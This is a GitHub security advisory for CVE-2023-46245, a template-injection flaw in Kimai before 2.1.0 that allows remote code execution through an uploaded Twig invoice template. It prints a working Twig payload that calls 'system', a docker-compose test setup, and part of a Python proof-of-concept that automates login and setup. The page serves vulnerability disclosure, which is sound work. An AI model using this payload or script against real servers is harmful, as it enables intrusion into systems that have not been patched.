GitHub Advisoryadvisory · Packagist

GHSA-fjhg-96cp-6fcw Kimai (Authenticated) SSTI to RCE by Uploading a Malicious Twig File

HIGH Published 2023-10-30 Modified 2023-10-30 Official page ↗
Aliases
CVE-2023-46245
Ecosystem
Packagist
Packages
kimai/kimai
Severity
High
CVSS vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Weaknesses
CWE-1336
Reviewed
2023-10-30

Affected packages

• Packagist kimai/kimai: < 2.1.0 → fixed in 2.1.0

Description

Description The laters version of Kimai is found to be vulnerable to a critical Server-Side Template Injection (SSTI) which can be escalated to Remote Code Execution (RCE). The vulnerability arises when a malicious user uploads a specially crafted Twig file, exploiting the software's PDF and HTML rendering functionalities. Snippet of Vulnerable Code: ```php public function render(array $timesheets, TimesheetQuery $query): Response { ... $content = $this->twig->render($this->getTemplate(), array_merge([ 'entries' => $timesheets, 'query' => $query, ... ], $this->getOptions($query))); ... $content = $this->converter->convertToPdf($content, $pdfOptions); ... return $this->createPdfResponse($content, $context); } ``` The vulnerability is triggered when the software attempts to render invoices, allowing the attacker to execute arbitrary code on the server. In below, you can find the docker-compose file was used for this testing: ```yaml version: '3.5' services: sqldb: image: mysql:5.7 environment: • MYSQL_ROOT_HOST='%' • MYSQL_DATABASE=kimai • MYSQL_USER=kimaiuser • MYSQL_PASSWORD=kimaipassword • MYSQL_ROOT_PASSWORD=changemeplease ports: • 3336:3306 volumes: • mysql:/var/lib/mysql command: --default-storage-engine innodb restart: unless-stopped healthcheck: test: mysqladmin -p$$MYSQL_ROOT_PASSWORD ping -h 127.0.0.1 interval: 20s start_period: 10s timeout: 10s retries: 3 nginx: image: tobybatch/nginx-fpm-reverse-proxy ports: • 8001:80 volumes: • public:/opt/kimai/public:ro restart: unless-stopped depends_on: • kimai healthcheck: test: wget --spider http://nginx/health || exit 1 interval: 20s start_period: 10s timeout: 10s retries: 3 kimai: # This is the latest FPM image of kimai image: kimai/kimai2:fpm-prod environment: • [email protected] • ADMINPASS=changemeplease • DATABASE_URL=mysql://kimaiuser:kimaipassword@sqldb/kimai • TRUSTED_HOSTS=nginx,localhost,127.0.0.1,172.29.0.3,172.29.0.6,172.29.0.5.172.29.0.2 • memory_limit=1024 volumes: • public:/opt/kimai/public # - var:/opt/kimai/var # - ./ldap.conf:/etc/openldap/ldap.conf:z # - ./ROOT-CA.pem:/etc/ssl/certs/ROOT-CA.pem:z restart: unless-stopped phpmyadmin: image: phpmyadmin restart: always ports: • 8081:80 environment: • PMA_ARBITRARY=1 postfix: image: catatnight/postfix:latest environment: maildomain: neontribe.co.uk smtp_user: kimai:kimai restart: unless-stopped volumes: var: public: mysql: ``` Steps to Reproduce (Manually): 1- Upload a malicious Twig file to the server containing the following payload ```{{['id>/tmp/pwned']|map('system')|join}}``` 2- Trigger the SSTI vulnerability by downloading the invoices. 3- The malicious code gets executed, leading to RCE. 4- /tmp/pwned file will be created on the target system I've also attached an automated script to ease up the process of reproducing: # Proof of Concept ```python import requests import re import string import random import sys session = requests.session() BASE_URL = sys.argv[1] def generate(size=6, chars=string.ascii_uppercase + string.digits): return ''.join(random.choice(chars) for _ in range(size)) def get_csrf(path, session): try: project_id = "" csrf_token = "" preview_id = "" template_ids = [] activity_customer_list = [] csrf_login_response = session.get(f"{BASE_URL}{path}").text # Extract CSRF Token pattern = re.compile(r']*?name=["\'].*?token[^"\']*["\'][^>]*?value="\'["\'][^>]*?>', re.IGNORECASE) match = pattern.search(csrf_login_response) if match: csrf_token = match.group(1) if "performSearch" in path: preview_pattern = re.compile(r']*id="preview-token"[^>]*data-value="(.*?)"[^>]*>', re.IGNORECASE) preview_match = preview_pattern.search(csrf_login_response) if preview_match: preview_id = preview_match.group(1) template_pattern = re.compile(r'', re.IGNORECASE) template_matches = template_pattern.findall(csrf_login_response) if template_matches: template_ids = [int(id) for id in template_matches] if "timesheet" in path: option_pattern = re.compile(r'', re.IGNORECASE) option_matches = option_pattern.findall(csrf_login_response) if option_matches: activity_customer_list = [(int(activity_id), int(customer_id)) for activity_id, customer_id in option_matches] if "project" in path or "activity" in path: project_id_match = re.search(r']*data-currency="EUR"[^>]*>', csrf_login_response) if project_id_match: project_id = project_id_match.group(1) return csrf_token, project_id, preview_id, template_ids, activity_customer_list except Exception as e: print(f"Error occurred: {e}") return None, None, None, None, None def login(username,password,csrf,session): try: params = {"_username": username, "_password": password, "_csrf_token": csrf} login_response = session.post(f"{BASE_URL}/login_check", data=params, allow_redirects=True) if "I forgot my password" not in login_response.text: print(f"[+] Logged in: {username}") return session else: print("Wrong username,password", username) exit(1) except Exception as e: print(str(e)) pass def create_customer(token,name,session): try: data = { 'customer_edit_form[name]': (None, name), 'customer_edit_form[color]': (None, ''), 'customer_edit_form[comment]': (None, 'xx'), 'customer_edit_form[address]': (None, 'xx'), 'customer_edit_form[company]': (None, ''), 'customer_edit_form[number]': (None, '0002'), 'customer_edit_form[vatId]': (None, ''), 'customer_edit_form[country]': (None, 'DE'), 'customer_edit_form[currency]': (None, 'EUR'), 'customer_edit_form[timezone]': (None, 'UTC'), 'customer_edit_form[contact]': (None, ''), 'customer_edit_form[email]': (None, ''), 'customer_edit_form[homepage]': (None, ''), 'customer_edit_form[mobile]': (None, ''), 'customer_edit_form[phone]': (None, ''), 'customer_edit_form[fax]': (None, ''), 'customer_edit_form[budget]': (None, '0.00'), 'customer_edit_form[timeBudget]': (None, '0:00'), 'customer_edit_form[budgetType]': (None, ''), 'customer_edit_form[visible]': (None, '1'), 'customer_edit_form[billable]': (None, '1'), 'customer_edit_form[invoiceTemplate]': (None, ''), 'customer_edit_form[invoiceText]': (None, ''), 'customer_edit_form[_token]': (None, token), } response = session.post(f"{BASE_URL}/admin/customer/create", files=data) except Exception as e: print(str(e)) def create_project(token, name,project_id ,session): try: form_data = { 'project_edit_form[name]': (None, name), 'project_edit_form[color]': (None, ''), 'project_edit_form[comment]': (None, ''), 'project_edit_form[customer]': (None, project_id), 'project_edit_form[orderNumber]': (None, ''), 'project_edit_form[orderDate]': (None, ''), 'project_edit_…

Related

Alias · CVE (1)

  • CVE-2023-46245 Kimai is a web-based multi-user time-tracking application. vulnerability

Weakness · CWE (1)

  • CWE-1336 Improper Neutralization of Special Elements Used in a Template Engine weakness

References